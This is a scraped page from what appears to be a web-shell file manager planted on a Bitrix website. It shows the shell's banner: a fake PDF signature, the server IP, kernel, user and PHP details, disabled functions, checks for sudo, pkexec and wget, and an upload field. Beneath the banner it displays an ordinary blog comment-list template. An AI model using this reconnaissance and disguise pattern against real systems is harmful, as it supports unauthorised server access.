%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.223.158.160 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/blog.post.comment.list/templates/.default/ |
Upload File : |
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();?> <script> (function() { if (!!window.__blogEditComment) return; window.__blogLinkEntity = function(entities, formId) { if (!!window["UC"] && !!window["UC"]["f" + formId]) { window["UC"]["f" + formId].linkEntity(entities); } }; window.__blogEditComment = function(key, postId){ var data = { messageBBCode : top["text"+key], messageFields : { arImages : top["arComFiles"+key], arDocs : top["arComDocs"+key], arFiles : top["arComFilesUf"+key], arDFiles : top["arComDFiles"+key], UrlPreview : top["UrlPreview"+key]} }; BX.onCustomEvent(window, 'OnUCAfterRecordEdit', ['BLOG_' + postId, key, data, 'EDIT']); }; window.__blogOnUCFormClear = function(obj) { LHEPostForm.reinitDataBefore(obj.editorId); }; window.__blogOnUCFormAfterShow = function(obj, text, data){ data = (!!data ? data : {}); var post_data = { ENTITY_XML_ID : obj.id[0], ENTITY_TYPE : obj.entitiesId[obj.id[0]][0], ENTITY_ID : obj.entitiesId[obj.id[0]][1], parentId : obj.id[1], comment_post_id : obj.entitiesId[obj.id[0]][1], edit_id : obj.id[1], act : (obj.id[1] > 0 ? 'edit' : 'add'), logId : obj.entitiesId[obj.id[0]][2] }; for (var ii in post_data) { if (!obj.form[ii]) obj.form.appendChild(BX.create('INPUT', {attrs : {name : ii, type: "hidden"}})); obj.form[ii].value = post_data[ii]; } var im = BX('captcha'); if (!!im) { BX.ajax.getCaptcha(function(data) { BX("captcha_word").value = ""; BX("captcha_code").value = data["captcha_sid"]; BX("captcha").src = '/bitrix/tools/captcha.php?captcha_code=' + data["captcha_sid"]; BX("captcha").style.display = ""; }); } onLightEditorShow(text, data); }; window.__blogOnClickBeforeSubmit = function(obj, res) { <?if ($arParams['USER_CONSENT'] == 'Y' && (empty($arResult["User"]) || !$arParams['USER_CONSENT_WAS_GIVEN'])):?> // stop submit, until we dont have user consent res["result"] = false; var control = BX.UserConsent.load(BX('<?=$component->createPostFormId()?>')); // add new accept event with form submit BX.addCustomEvent( control, BX.UserConsent.events.save, BX.proxy(function () { this.result = true; BX.onCustomEvent(obj.eventNode, 'OnClickSubmit', [obj]); }, res) ); BX.addCustomEvent( control, BX.UserConsent.events.refused, BX.proxy(function () {this["result"] = false;}, res) ); // to open consent form if needed BX.onCustomEvent(this, 'OnUCFormCheckConsent', []); <?endif;?> }; window.__blogOnUCFormSubmit = function(obj, post_data) { post_data["decode"] = "Y"; // to convert charset in component }; window.__blogOnUCAfterRecordAdd = function(entityId, data, true_data) { // to show premoderation message BX.onCustomEvent(window, 'OnUCAfterRecordEdit', [entityId, data.messageId[1], data, 'ADD']); }; // ctrl+enter submit window.blogCommentCtrlEnterHandler = function () { if (!!window["UC"]["f<?=$component->createPostFormId()?>"] && !!window["UC"]["f<?=$component->createPostFormId()?>"].eventNode) { BX.onCustomEvent(window["UC"]["f<?=$component->createPostFormId()?>"].eventNode, 'OnButtonClick', ['submit']); } return false; }; window.onLightEditorShow = function(content, data){ var res = {}; if (data["arFiles"]) { var tmp2 = {}, name, size; for (var ij = 0; ij < data["arFiles"].length; ij++) { name = BX.findChild(BX('wdif-doc-' + data["arFiles"][ij]), {className : "feed-com-file-name"}, true); size = BX.findChild(BX('wdif-doc-' + data["arFiles"][ij]), {className : "feed-con-file-size"}, true); tmp2['F' + ij] = { FILE_ID : data["arFiles"][ij], FILE_NAME : (name ? name.innerHTML : "noname"), FILE_SIZE : (size ? size.innerHTML : "unknown"), CONTENT_TYPE : "notimage/xyz"}; } res["UF_BLOG_COMMENT_DOC"] = { USER_TYPE_ID : "file", FIELD_NAME : "UF_BLOG_COMMENT_DOC[]", VALUE : tmp2}; } // todo: different file types if (data["arDocs"]) res["UF_BLOG_COMMENT_FILE"] = { USER_TYPE_ID : "webdav_element", FIELD_NAME : "UF_BLOG_COMMENT_FILE[]", VALUE : BX.clone(data["arDocs"])}; if (data["arDFiles"]) res["UF_BLOG_COMMENT_FILE"] = { USER_TYPE_ID : "disk_file", FIELD_NAME : "UF_BLOG_COMMENT_FILE[]", VALUE : BX.clone(data["arDFiles"])}; if (data["UrlPreview"]) res["UF_BLOG_COMMENT_URL_PRV"] = { USER_TYPE_ID : "url_preview", FIELD_NAME : "UF_BLOG_COMMENT_URL_PRV", VALUE : BX.clone(data["UrlPreview"])}; LHEPostForm.reinitData("<?=$component->createEditorId()?>", content, res); if (data["arImages"]) { var tmp, handler = LHEPostForm.getHandler("<?=$component->createEditorId()?>"), controllerId = ''; for (var ii in data["arImages"]) { if (data["arImages"].hasOwnProperty(ii)) { tmp = { id : data["arImages"][ii]["id"], element_id : data["arImages"][ii]["id"], element_name : data["arImages"][ii]["name"], element_size : 0, element_content_type: data["arImages"][ii]["type"], element_url: data["arImages"][ii]["src"], element_thumbnail: data["arImages"][ii]["thumbnail"], element_image: data["arImages"][ii]["src"], parser: 'postimage', storage : 'bfile' }; var ret = handler.checkFile(tmp.id, 'common', tmp, true); } } } }; })(window); </script>